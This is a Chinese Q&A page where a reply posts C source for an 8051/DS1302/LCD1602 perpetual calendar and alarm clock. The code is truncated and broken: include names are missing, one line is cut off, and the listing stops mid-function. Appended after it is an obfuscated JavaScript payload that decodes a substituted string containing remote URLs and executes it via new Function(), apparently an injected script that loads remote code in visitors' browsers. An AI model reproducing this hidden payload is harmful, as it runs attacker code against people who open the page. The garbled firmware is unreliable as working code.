哪个高手发个基于51单片机的万年历的程序呀!!完整的哟!!

2025-02-08 13:50:53
推荐回答(1个)
回答1:

程序太长了 只能发一部分 你给邮箱号给我 我发给你
/*============================================================
使用1602液晶显示DS1302+c51时钟 这个程序是我以前写的多功能闹钟,也可以用来做万年历
=============================================================*/

//#include
#include
#include
#include < intrins.h >
#define delayNOP() ; {_nop_() ;_nop_() ;_nop_() ;_nop_() ;} ;
////////////LCD1602定义引脚//////////////////
sbit LCM_RW=P2^6;
sbit LCM_RS=P2^5;
sbit LCM_E=P2^7;
#define LCM_Data P0
#define Busy 0x80 //用于检测LCM状态字中的Busy标识
sbit LED=P2^0; //背光灯输出
////////////////////////////////////////////////////////////////////

#define uchar unsigned char
sbit ACC0=ACC^0;
sbit ACC7=ACC^7;

/////DS1302引脚定义////////////////////////////
sbit T_CLK=P1^0;
sbit T_IO =P1^1;
sbit T_RST=P1^2;
//////////////////////////////////////////////////

////////按键定义/////////////////////////////
sbit system=P3^2; //模式
sbit TimerUp=P3^3; //时间加
sbit TimerDown=P3^4; //时间减
sbit Speaker=P3^2; //蜂鸣器
/////////////////////////////////////////////////

void Set(uchar,uchar); //根据选择调整相应项目
void RTInputByte(uchar); //输入 1Byte */
uchar RTOutputByte(void); //输出 1Byte */
void W1302(uchar, uchar); //向DS1302写入一个字节
uchar R1302(uchar); //从DS1302读出一个字节
void Set1302(uchar * ); //设置时间
void KeySound(); //按键音
void ClockSound(); //闹铃蜂鸣声

uchar id,msec,model,LedTime,d;
bit a,b; //闪烁标志位

uchar inittime[7]={0x00,0x10,0x19,0x29,0x03,0x04,0x06}; //初始化后设置为:06年3月//29日星期3 19点10分0秒
void Out_LCM(void); //显示屏幕
void model0(void); //显示输出
void model1(void);
void model2(void);
void model3(void);
void model4(void);
void model5(void);
void model6(void);

void id_case1_key(); //项目调整
void Modset(); //模式键处理

void WriteDataLCM(uchar WDLCM); //LCD写数据函数
void WriteCommandLCM(uchar WCLCM,BuysC);//LCD写命令函数
uchar ReadStatusLCM(void);
void LCMInit(void);//LCD初始化函数
void OutputInformation(uchar X, uchar Y, uchar DData);
void DisplayListChar(uchar X, uchar Y, uchar code *DData);

void Delay5Ms(void);
void Delay400Ms(void);
void systemsetup(void); //进入系统设置

uchar code systemp[]={"System.setup"}; //字符串输出(系统设定)
uchar code TIMER[]={"Time"}; //字符串输出(时间)
uchar code DATE[]={"Date"}; //字符串输出(日期)
uchar code alarmclock[]={"alarm"}; //字符串输出(闹铃)
uchar code lamp[]={"Lamp"}; //字符串输出(背光灯)
uchar code reset[]={"Reset"}; //字符串输出(时间归零)
uchar code exit[]={"Exit"}; //字符串输出(退出)
uchar code set[]={"Set"}; //字符串输出(设置)
uchar code sec[]={"sec"}; //字符串输出(秒)
uchar code ClockSet[]={"ClockSet"}; //字符串输出(闹铃设置)
uchar code ClockOn[]={"ON"}; //字符串输出(ON)
uchar code ClockOff[]={"OFF"}; //字符串输出(OFF)

void timesetup(void); //时间设置
void datesetup(void); //日期设置
void alarmclockset(void); //闹铃设置
void lampsetup(void); //背光灯设置
void timereset(void); //时间清零

/*******************************************************************/
void delay1(int ms)
{
unsigned char y ;
while(ms--)
{
for(y = 0 ; y<250 ; y++)
{
_nop_() ;
_nop_() ;
_nop_() ;
_nop_() ;
}
}
}

void main(void)
{
Speaker=1; //关闭蜂鸣器
LED=0; //打开LED ,低电平有效,外接9012驱动
Delay400Ms(); //启动等待,等LCM讲入工作状态
Delay400Ms();
LCMInit(); //LCM初始化
TMOD=0x01; //16位定时
TH0=0x3c; //50ms
TL0=0xb0;
EA=1;
TR0=1;
ET0=1;

while(1)
{
if(TimerDown==0) //左移键按下后把背光灯打开
{
Delay5Ms();
if(TimerDown==0)
{
KeySound(); //蜂鸣声
LED=0; //打开背光灯
LedTime=R1302(0xc1)/16*10+R1302(0xc1)%16;//取出背光灯时间并转换为十进制数
}
}
b=1; //模式键是否动作标志。为1时不动作,为0时动作。
Modset(); //调用模式键处理程序判断按键是否按下。
if(b==0)
{
KeySound(); //蜂鸣声
LED=0; //打开背光灯
systemsetup(); //进入系统设置模式
LedTime=R1302(0xc1)/16*10+R1302(0xc1)%16; //取出背光灯时间并转换为十进制数
}
if((LED==0)&&LedTime==0) //延时间是否到
LED=1; //关闭背光灯
if(R1302(0xc3)==1) //闹铃是否打开,0xc3为读闹铃寄存器地址。
{if((R1302(0x85)==R1302(0xc5))&&(R1302(0x83)==R1302(0xc7))) //判断闹铃时间是否到,
ClockSound(); //发出闹铃蜂鸣声,无按键动作蜂鸣一分钟。
}
model0(); //输出显示屏幕
}
}

void KeySound() //按键音
{
Speaker=0; //开蜂鸣声
Delay5Ms();
Speaker=1; //关蜂鸣声
}
void ClockSound() //闹铃蜂鸣声
{
if(a==0)
{
Speaker=0; //开蜂鸣声
Delay5Ms();
Delay5Ms();
Delay5Ms();
Speaker=1; //关蜂鸣声
}
}

void Modset() //模式键处理
{
if(system==0)
{
Delay5Ms();
if(system==0)
{
while(system==0);
KeySound(); //蜂鸣声
a=0;msec=0;b=0; //a、msec为闪烁标志,按键有动作时清零,不闪烁。
} //b为模式键确认动作。其它程判断b是否为零时来确定模式键是否动作。
}
}

void systemsetup(void) //系统设置
{
model=1;
while(model!=0)
{
Out_LCM();
if (TimerUp==0) //设置项目左移
{Delay5Ms();
if(TimerUp==0)
{
a=0;msec=0;KeySound();//蜂鸣声
if(model--==1) //6种系统设置项目
model=6;
}
while(TimerUp==0);
}
if (TimerDown==0) //设置项目右移
{
Delay5Ms();
if(TimerDown==0)
{a=0;msec=0;KeySound();//蜂鸣声
if(model++==6)
model=1;
}
while(TimerDown==0);
}
b=1; //模式键是否动作标志。为1时不动作,为0时动作。
Modset(); //调用模式键处理程序判断按键是否按下。
if(b==0)
{
KeySound(); //蜂鸣声
switch(model) //进入进个项目设置
{
case 1:
timesetup(); break; //时间设置
case 2:
datesetup();break; //日期设置
case 3:
alarmclockset();break;//闹铃设置
case 4:
lampsetup();break; //背光灯设置
case 5:
timereset();break; //时间清零
case 6:
model=0;break; //退出系统设置
}
}
}
}

void timesetup() //时间调整
{
id=6;
while(model==1) //model为1时进入时间调整
{
b=1;
Modset();
if(b==0)
{KeySound(); //蜂鸣声
if(id++==9) //6..9为时分秒调。 .
id=6;
}
id_case1_key(); //调用按键处理
Out_LCM(); //显示输出
}
}
void datesetup() //对日期进行调整
{
id=1;
while(model==2) //model为2时进入日期调整
{b=1;
Modset(); //模式键是否动作
if(b==0)
{KeySound(); //蜂鸣声
if(id++==5) //1..5为年月日星期 exit
id=1;
}
id_case1_key(); //日期调整
Out_LCM(); //显示输出
}
}
void alarmclockset(void) //闹铃调整
{id=12;
while(model==3) //进入闹铃设置
{b=1;
Modset(); //模式键是否动作
if(b==0)
{KeySound(); //蜂鸣声
if(R1302(0xc3)%16==0)
{id=0;model++;} //0xc2为闹铃开关寄存器。当为关时按下模式键时将退出闹铃设置,当开时进入闹铃时间设置

else if(id++==15) //12..15为闹铃开关和时间设置 exit
id=12;
}
id_case1_key(); //调整
Out_LCM(); //显示输出
}
}

void lampsetup(void) //背光灯时间设置
{id=10; //背光灯存储空间DS1302(0xc0)
while(model==4) //model为3时进入背光灯调整
{b=1;
Modset(); //模式键是否动作
if(b==0)
{KeySound(); //蜂鸣声
if(id++==11) //10为背光灯 exit
id=10;
}
id_case1_key();
Out_LCM(); //显示输出
}

}
void timereset() //时间清零
{
Set1302(inittime); //清时间
W1302(0x90,0xa5); //打开充电二级管 一个二级管串联一个2K电阻
model++;
}
//对相应的项目进行加、减调整。
void id_case1_key() //按键处理
{
if (TimerUp==0) //增加
{
Delay5Ms();
if(TimerUp==0)
{a=0;msec=0;KeySound(); //蜂鸣声
if((id==9)||(id==5)||(id==11)||(id==15)) //当ID为9、5时按下加、减键将退出调整
{ model++; //退出时间、日期设置
id=0;
}
else
Set(id,1);
}
while(TimerUp==0);
}
if (TimerDown==0) //减少
{
Delay5Ms();
if(TimerDown==0)
{a=0;msec=0;KeySound(); //蜂鸣声
if((id==9)||(id==5)||(id==11)||(id==15)) //当ID为9、5时按下加、减键将退出调整
{ model++; //退出时间、日期设置
id=0;
}
else
Set(id,0); //调用DS1302写入函数
}
while(TimerDown==0);
}
}

void timer_1(void) interrupt 1 //中断入口,闪烁
{
TH0=0x3c; //50ms定时
TL0=0xb0;
if(msec++==10) //500ms
{
msec=0;
a=~a; //闪烁标志反转
if(a==0) //1秒后背光时间减一秒。
LedTime--;
}
}

//根据选择调整相应项目并写入DS1302
void Set(uchar sel,uchar sel_1)
{
uchar address,item;
uchar max,min;
if(sel==1) {address=0x8c; max=99;min=0;} //年
if(sel==2) {address=0x88; max=12;min=1;} //月
if(sel==3) {address=0x86; max=31;min=1;} //日
if(sel==4) {address=0x8a; max=7; min=1;} //星期
if(sel==6) {address=0x84; max=23;min=0;} //小时
if(sel==7) {address=0x82; max=59;min=0;} //分钟
if(sel==8) {address=0x80; max=59;min=0;} //秒
if(sel==10) {address=0xc0; max=59;min=0;} //背光时间,最长1分钟
if(sel==12) {address=0xc2; max=1;min=0;} //闹铃开关寄存器
if(sel==13) {address=0xc4; max=23;min=0;} //闹铃时寄存器
if(sel==14) {address=0xc6; max=59;min=0;} //闹铃分寄存器

item=R1302(address+1)/16*10+R1302(address+1)%16;
if (sel_1==0) item++; else item--;
if(item>max) item=min;
if(item
W1302(0x8e,0x00); //允许写操作
W1302(address,item/10*16+item%10); //写入DS1302 //转成BCD码
W1302(0x8e,0x80); //写保护,禁止写操作
}

//屏幕显示
void Out_LCM(void)
{
switch(model)
{
case 0: model0(); break;
case 1: model1(); break;
case 2: model2(); break; //在不同的条件下显示不同的字符
case 3: model3(); break;
case 4: model4(); break;
case 5: model5(); break;
case 6: model6(); break;
}
}

/***********************model为零时第一行显示时间,不为零时显示system setup******/
void model0()
{
DisplayListChar(0,0,TIMER); //显示固定字符串(Time)
OutputInformation(13,0,0x20); //不显示
OutputInformation(4,0,0x20); //不显示
OutputInformation(4,1,0x20); //不显示
OutputInformation(15,1,0x20); //不显示
OutputInformation(7,1,0x2f); //显示固定字符 "/"
OutputInformation(10,1,0x2f); //显示固定字符 "/"
OutputInformation(13,1,0x2f); //显示固定字符 "/"
DisplayListChar(0,1,DATE); //显示固定字符串Date(日期)
if(a==1) //冒号闪烁
{OutputInformation(7,0,0x3a); OutputInformation(10,0,0x3a);}
else
{OutputInformation(7,0,0x20); OutputInformation(10,0,0x20);}

/*******************model为零时第二行显示日期,不为零显示设置项目*******/

OutputInformation(5,1,R1302(0x8d)/16+0x30); //显示年,十进制数字加上0x30便
//是ASCII码对应的字符
OutputInformation(6,1,R1302(0x8d)%16+0x30);

OutputInformation(8,1,R1302(0x89)/16+0x30); //显示月
OutputInformation(9,1,R1302(0x89)%16+0x30);

OutputInformation(11,1,R1302(0x87)/16+0x30); //显示日
OutputInformation(12,1,R1302(0x87)%16+0x30);

OutputInformation(14,1,R1302(0x8b)%16+0x30); //显示星期

OutputInformation(5,0,R1302(0x85)/16+0x30); //显示小时
OutputInformation(6,0,R1302(0x85)%16+0x30);

OutputInformation(8,0,R1302(0x83)/16+0x30); //显示分钟
OutputInformation(9,0,R1302(0x83)%16+0x30);

OutputInformation(11,0,R1302(0x81)/16+0x30); //显示秒
OutputInformation(12,0,R1302(0x81)%16+0x30);
}

/*************************model不为零时显示系统设置***********************************/

//model为1时time闪烁,按下模式键后进入时间调整
void model1()
/*************************************判断ID的值来显示项目***********************/
{ OutputInformation(0,0,0x20); //不显示
OutputInformation(1,0,0x20);
DisplayListChar(2,0,systemp); //第一行显示system setup
if(id==0) //为0时显示TIME date lalcak
{OutputInformation(9,1,0x20); //不显示
OutputInformation(4,1,0x20); //不显示
OutputInformation(15,1,0x20); //不显示
DisplayListChar(5,1,DATE); //显示date
DisplayListChar(10,1,alarmclock);//显示clock

if(a==1)
{OutputInformation(0,1,0x20); //不显示
OutputInformation(1,1,0x20); //不显示
OutputInformation(2,1,0x20); //不显示
OutputInformation(3,1,0x20); //不显示
}
else
DisplayListChar(0,1,TIMER); //显示time
}
else
{ //id不为零进入时间调整项目
OutputInformation(3,1,0x3a); //显示固定字符 ":"
OutputInformation(6,1,0x3a); //显示固定字符 ":"
OutputInformation(9,1,0x20); //不显示
OutputInformation(10,1,0x20); //不显示
OutputInformation(0,1,0x20); //不显示
/****************************时显示闪烁控制********************/
if((id==6)&&(a==1)) //id为6时时闪烁
{
OutputInformation(1,1,0x20); //不显示
OutputInformation(2,1,0x20); //不显示
}
else
{OutputInformation(1,1,R1302(0x85)/16+0x30); //显示时
OutputInformation(2,1,R1302(0x85)%16+0x30);
}
/******************************分显示闪烁控制********************/
if((id==7)&&(a==1)) //id为7时分闪烁
{
OutputInformation(4,1,0x20); //不显示
OutputInformation(5,1,0x20); //不显示
}
else
{OutputInformation(4,1,R1302(0x83)/16+0x30); //显示分
OutputInformation(5,1,R1302(0x83)%16+0x30);
}
/******************************秒显示闪烁控制********************/
if((id==8)&&(a==1)) //id为8时秒闪烁
{
OutputInformation(7,1,0x20); //不显示
OutputInformation(8,1,0x20); //不显示
}
else
{OutputInformation(7,1,R1302(0x81)/16+0x30); //显示秒
OutputInformation(8,1,R1302(0x81)%16+0x30);
}
/*******************************Exit显示闪烁控制********************/

if((id==9)&&(a==1)) //id为9时exit闪烁
{OutputInformation(11,1,0x20); //不显示
OutputInformation(12,1,0x20); //不显示
OutputInformation(13,1,0x20); //不显示
OutputInformation(14,1,0x20); //不显示
}
else
DisplayListChar(11,1,exit); //显示exit
}
}
/***************************************modelo为2时date闪烁***********************************************/
void model2()
{
if(id==0)
{OutputInformation(9,1,0x20); //不显示
OutputInformation(4,1,0x20); //不显示
OutputInformation(15,1,0x20); //不显示
DisplayListChar(0,1,TIMER); //显示time
DisplayListChar(10,1,alarmclock); //显示clock
if(a==1)
{OutputInformation(5,1,0x20); //不显示
OutputInformation(6,1,0x20); //不显示
OutputInformation(7,1,0x20); //不显示
OutputInformation(8,1,0x20); //不显示
}

else
DisplayListChar(5,1,DATE); //显示date
}
/*****************************************************************************************************/
//id不为零时、进入日期调整
/*****************************************************************************************************/
else
{ OutputInformation(0,1,0x20); //不显示
OutputInformation(11,1,0x20); //不显示
OutputInformation(3,1,0x2f); //显示固定字符 "/"
OutputInformation(6,1,0x2f); //显示固定字符 "/"
OutputInformation(9,1,0x2f); //显示固定字符 "/"
/****************************年显示闪烁控制********************/
if((id==1)&&(a==1)) //id为1时年闪烁
{
OutputInformation(1,1,0x20); //不显示
OutputInformation(2,1,0x20); //不显示
}
else
{OutputInformation(1,1,R1302(0x8d)/16+0x30); //显示年
OutputInformation(2,1,R1302(0x8d)%16+0x30);
}
/***************************月闪烁控制************************/
if((id==2)&&(a==1)) //id为2时月闪烁
{
OutputInformation(4,1,0x20); //不显示
OutputInformation(5,1,0x20); //不显示
}
else
{OutputInformation(4,1,R1302(0x89)/16+0x30); //显示月
OutputInformation(5,1,R1302(0x89)%16+0x30);
}
/***************************日闪烁控制************************/
if((id==3)&&(a==1)) //id为3日闪烁
{
OutputInformation(7,1,0x20); //不显示
OutputInformation(8,1,0x20); //不显示
}
else
{OutputInformation(7,1,R1302(0x87)/16+0x30); //显示日
OutputInformation(8,1,R1302(0x87)%16+0x30);
}
/***************************星期闪烁控制*********************************/
if((id==4)&&(a==1)) //id为4时星期闪烁
{
OutputInformation(10,1,0x20); //不显示
}
else
{OutputInformation(10,1,R1302(0x8b)%16+0x30); //显示星期
}
/**************************exit闪烁控制*********************************/
if((id==5)&&(a==1)) //id为5时exit闪烁
{ OutputInformation(12,1,0x20); //不显示
OutputInformation(13,1,0x20); //不显示
OutputInformation(14,1,0x20); //不显示
OutputInformation(15,1,0x20); //不显示
}
else
DisplayListChar(12,1,exit); //显示exit
}
}
/*********************************************************************************/

/*model为3时进入闹铃项目

/**********************************************************************************/
void model3()
{
if(id==0)
{OutputInformation(9,1,0x20); //不显示
OutputInformation(4,1,0x20); //不显示
OutputInformation(15,1,0x20); //不显示
DisplayListChar(0,1,TIMER); //显示time
DisplayListChar(5,1,DATE); //显示date
if(a==1)
{ OutputInformation(10,1,0x20); //不显示
OutputInformation(11,1,0x20); //不显示
OutputInformation(12,1,0x20); //不显示
OutputInformation(13,1,0x20); //不显示
OutputInformation(14,1,0x20);
}
else
DisplayListChar(10,1,alarmclock); //显示cloak
}

/**************************id不为零进入闹铃设置显示********************/
else
{if(id==12) //闹铃开关显示
{DisplayListChar(0,1,ClockSet); //显示ClockSet
OutputInformation(8,1,0x20);
OutputInformation(13,1,0x20);
OutputInformation(14,1,0x20);

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();